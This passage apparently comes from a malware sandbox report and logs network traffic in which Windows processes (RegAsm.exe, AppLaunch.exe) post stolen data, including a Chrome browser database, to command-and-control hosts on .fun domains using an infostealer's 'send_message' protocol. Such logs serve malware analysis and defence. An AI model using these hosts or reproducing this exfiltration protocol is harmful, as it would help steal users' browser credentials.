Oct 3, 2023 09:54:26.459897041 CEST	1542	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49875	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:24.319700003 CEST	6387	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:24.320118904 CEST	6387	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:24.557449102 CEST	6390	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=s62fteiuuh9tu37pg8a8u6lg25; expires=Sat, 27 Jan 2024 01:42:03 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J%2Bt18ETVtOA9wGXxtWflNN6jIDVYSjXkAn1LSbm7C54hI5%2BmOiGHKqvUj1nCKpbtjI1z6FZFEi%2B42Su5uZonT1HGlT5mcuDRAZV5cctGrYAKwycn9SJTqwc9itexZ%2FxHTFMZ%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f653f800649-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:24.557480097 CEST	6390	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49876	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:24.450311899 CEST	6388	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:24.450737953 CEST	6388	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:24.767977953 CEST	6391	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=f531bsl5dq7ubrfifonbluu793; expires=Sat, 27 Jan 2024 01:42:03 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oLz9GbtUK3Bd3dXfzAYy92BrgfgEqFBuQD3LjeYx0peSHv%2FBgwqTd2sngY52coR4z0ZLsKcURe6h1EzXi03mcw81U3ZnIvEQgRmwB%2Ftlu2UJV4Lvj4BHz57%2FF1p5bz0DbjwdyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f660cd6819a-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:24.768090963 CEST	6391	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49877	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:24.771079063 CEST	6392	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:24.771686077 CEST	6392	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:25.099364996 CEST	6395	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ssk72vfdo3dr4qt1o5kcuo41b2; expires=Sat, 27 Jan 2024 01:42:03 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A0hURg6Rpi8duY2HaSa%2FwlcRk8r0QbY5IdceeqBywSCis3TlKHyRWq3RQBNPcUL%2B25WHA3arXqv9fDbcAmDiW9q5VjrLEOmIa1HteJss4rP7gZK05y5fUJWNFXHVJuINDzJTAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f68097005fb-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:25.099406958 CEST	6395	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49878	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:24.985321045 CEST	6393	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:24.986191988 CEST	6394	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:25.312083006 CEST	6396	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=n19vkg0lo803llm0aldc49kuge; expires=Sat, 27 Jan 2024 01:42:04 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OdfJb0QlxIeo%2F%2BwlHz4BQ1fKUFw4QR6AlnCi8Sqkyh4GEoHNjKHc6V%2FhKs3BsS%2BiHz%2FBcBqiFD%2Fs068ZiaUSCbVpSHRxOUPhmmjWOlIAqvi6Fej%2FDz%2FSgHITmlbKuA83xHvzMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f696f230818-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:25.312144995 CEST	6396	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49879	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:25.319715023 CEST	6397	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:25.320292950 CEST	6398	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:25.659931898 CEST	6399	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=jr7bmfcjgvbcoptbvsn0luh1re; expires=Sat, 27 Jan 2024 01:42:04 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:25 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TlqsdU%2FvCX%2B5lRH%2BqvW7VetR8BWoDYnyDNPdL7CdUaHaFKqErxXFkYz91IJCxZ%2BYck3u7AO78n4rMweBvkY7Qt6YPirkzrFPQivuxbQEd%2F04YuBI1zi5vusQt9WGfj%2Bmk37YKw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f6b7c307f86-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:25.660011053 CEST	6399	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49880	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:25.793631077 CEST	6400	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 86379 Host: malenursenect.fun
Oct 3, 2023 09:55:25.794399023 CEST	6411	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:25.888246059 CEST	6413	OUT	Data Raw: dd 6f 6f db 44 1c 07 70 3b 49 e3 b5 5b c7 ba ad 33 55 f7 c0 d5 84 5a 6b 19 a3 aa fa 60 54 88 65 ad 29 d1 b2 74 cb 52 44 85 e0 e4 c6 97 cc aa 1d a7 b6 53 28 3c 4a 07 3c e2 65 4c 13 42 bc 05 9e ec d9 c4 03 de 02 0f 40 02 1e 20 f1 0c c1 13 ee ec 34 Data Ascii: ooDp;I[3UZk`Te)tRDS(<J<eLB@ 4gm4H}>S+K)A"Bfs[k6xq&'{Zz"HKOx)\W,Ion[Q391}e&\|oy'~*HO?x
Oct 3, 2023 09:55:25.889076948 CEST	6431	OUT	Data Raw: 2c 62 69 9b 9e a7 5b a4 ea b4 58 08 b6 1b 4f 6c 35 8d 67 4c 78 84 d1 ae e8 5e 07 77 a2 aa ea b9 ac fc 96 3c aa 1d c3 46 58 0c 3e 2e f8 67 25 79 45 15 db 53 c1 3a 16 4e a4 2c 98 c7 23 f9 24 cc cc 26 4d a8 d7 0d f9 05 4b 53 91 26 1d 51 84 b7 6e b4 Data Ascii: ,bi[XOl5gLx^w<FX>.g%yES:N,#$&MKS&QnXzp$Kg#>nLk`pWIgu('U]m2]~?-Gv3UT'W,n6-.CW'/.s(\|xze9z
Oct 3, 2023 09:55:25.889102936 CEST	6433	OUT	Data Raw: b4 cd f1 44 52 ac df 91 29 a3 0c 4b 0b bc 19 da c8 66 06 af a5 20 79 10 f2 96 97 35 b5 12 ed ce b0 72 c0 5b f1 78 a7 18 92 ba fd f8 68 9b 20 ad 10 e3 cf 5b 0e 8d c3 d3 04 de 6a 65 28 23 80 81 ff b7 be 81 bf ee 6f 8d e7 21 8f 12 c5 78 c6 31 63 fc Data Ascii: DR)Kf y5r[xh [je(#o!x1cPK2WBpPKNCW#Chrome/Default/BrowserDB/000005.ldbXS&X`%!A!&B@D]@`25@d\R\-K-l
Oct 3, 2023 09:55:25.889102936 CEST	6436	OUT	Data Raw: fd 87 cb 17 fd bf a0 18 49 21 92 f1 c0 48 5a 80 b6 30 9a d6 4d bb 9f 50 f4 f3 d3 3a 85 7d f9 1f 2e ca 0c 0e 31 48 8a 2c 7e 97 16 aa d1 da f8 35 25 54 63 ca 54 d8 ff 1b 84 69 de fb ff 0d 61 14 eb d6 8d 33 93 d2 00 d6 4d 30 89 ae 5b 27 65 a9 72 35 Data Ascii: I!HZ0MP:}.1H,~5%TcTia3M0['er5(e:UD<S-i<CYRJ$]@^&^m[ss3e1_'0\3>lPXs]Uu}#}UnG=g]_htSiN{p/kmnr-i
Oct 3, 2023 09:55:25.984075069 CEST	6440	OUT	Data Raw: ee 9a d1 96 d1 2a 57 65 dd c4 44 65 45 6b af 2f ab bd af b5 bc b9 c5 6a 6d ec 19 98 a8 9b 6c cf 6d 9c b4 7b bd 6d 29 35 63 63 1e 32 0e 9e 11 5f f5 fa fe 35 6b bb eb 8a eb 33 a7 87 fb bd 3d 35 be 29 eb 86 89 b5 de 96 5a 7f 65 91 ad ac b2 64 ba ad Data Ascii: WeDeEk/jmlm{m)5cc2_5k3=5)Zed\|\67\R]-himf67z'{:{yCQ[Qs Y_^[}@{uTND>{dY]m^;qhgn]8P=PRR
Oct 3, 2023 09:55:25.984236956 CEST	6467	OUT	Data Raw: e7 d2 2a e5 6c b7 32 2c 97 f3 ae 29 fc d7 c6 3f f5 bc f7 28 af d3 c4 af d3 b4 fb 3a be cb ce f6 4d b1 0d 39 c1 67 ac 0d 7c 6d 88 bf f7 b2 fd 3d db 95 e4 d8 bb a4 b5 b2 a4 d2 d6 f0 36 63 be ef 4e 2f 2f d1 c8 5b 57 f1 a3 4e 8e c7 19 67 31 87 75 3d Data Ascii: l2,)?(:M9g\|m=6cN//[WNg1u=~#o3$eN6,N`HXjJM9,J\|W{h6^#lr}gf4!~T{Wovw,Z85Fi_BSTcRX/f-gSM28n(\|S;cn\|I;
Oct 3, 2023 09:55:25.984307051 CEST	6473	OUT	Data Raw: 1c 07 8a d1 b4 4e d1 3f 6b 14 bb 49 0d 31 18 4b a5 d7 7c 01 1c 45 62 07 49 61 28 4a 94 78 f9 5b 3c 2d 31 17 d0 bc 5e 70 44 96 b3 74 3a 13 6b fe a8 ef 57 89 85 9a c9 7d b3 d7 68 84 52 9d b1 3e 4c 0a bc 7a 8d 2f 19 8c cf 84 7b a4 5e ee 46 e1 e3 6f Data Ascii: N?kI1K\|EbIa(Jx[<-1^pDt:kW}hR>Lz/{^Foi-WsH3~ 'iU{bWNg9$[TA%%`QKD11kqX(9RV:R&qPq'/GTY4s(gIyI"iZ&O
Oct 3, 2023 09:55:25.984391928 CEST	6478	OUT	Data Raw: 45 98 1f a3 a9 45 a8 b3 d7 c5 c3 8d e3 57 63 d3 08 fa 93 95 1e 4e cc cb 0a 6c 09 65 94 17 81 b5 e5 05 3e 99 05 ba 1e 63 8d 30 26 4e ef 22 9b b4 ef 4f a1 2c 27 b3 8f cd 0f 70 20 03 81 55 78 36 80 ca 18 7c fb 23 9c fc 67 f8 ba 0a 9b 48 8a 39 71 cf Data Ascii: EEWcNle>c0&N"O,'p Ux6\|#gH9qMvkG_+xdMVcn,;G[XgbX[J<\f\Ig-exxo~)vg#ExsbF8&j3!>\d10V
Oct 3, 2023 09:55:25.984575987 CEST	6483	OUT	Data Raw: bb 53 84 46 76 47 e0 ba a9 c0 89 b6 f6 51 a9 1f 0a b5 ca c9 80 eb bd 70 d0 bb 7d 20 31 aa 2a ad c4 4a 0e 89 5b b5 76 90 a3 68 47 49 9d d8 1a 3f 51 a5 8b 1f 6e 57 58 16 a9 09 d7 d6 e9 9a e4 2d 5b 5d 63 14 e1 23 71 5f 61 67 72 ab 74 ec 6a 8f 6e 2f Data Ascii: SFvGQp} 1*J[vhGI?QnWX-[]c#q_agrtjn/Jb>8wk/WH[Up'MT#T^bI2SZMABS<qwNmIa:=vh;N&Xjag7##a)B/{_BbXN>=_1[+m")
Oct 3, 2023 09:55:26.602135897 CEST	6492	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=b1gat6aingjvfpnbade6jvjqsa; expires=Sat, 27 Jan 2024 01:42:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eeCfHsyoRcZa56o0ij9QW2ChhyN6IF7RWt4F%2FYzMG5oxY%2FMXax612pGBqVXjZ6WfZmPdJUMSaHXPrXW1BXdyhqyoYsZvO5AFMQWixHoAOD8lMbsyDZmCeV7KHiYIlKA97fw2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f6e684a200f-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:26.602168083 CEST	6492	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49881	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:25.909909964 CEST	6436	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:25.910021067 CEST	6437	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:26.271060944 CEST	6489	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ldv4a7emc8mhomsnmq83ng794l; expires=Sat, 27 Jan 2024 01:42:05 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:26 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L2iXSMwTIEtlIhePxxnJn1FZewJ70jERzvd77%2FNbDpMr7f0yFEsa1d7QRpVf0Hls2SGXm7t9pzkJVlxgS19NL7HNhTkn61nCuBqNV2lMNPtkf52l7%2F1a%2BHd%2BlRWUzj8sltYzYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f6f28222427-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:26.271121025 CEST	6490	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49882	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:26.519020081 CEST	6490	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:26.519619942 CEST	6491	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
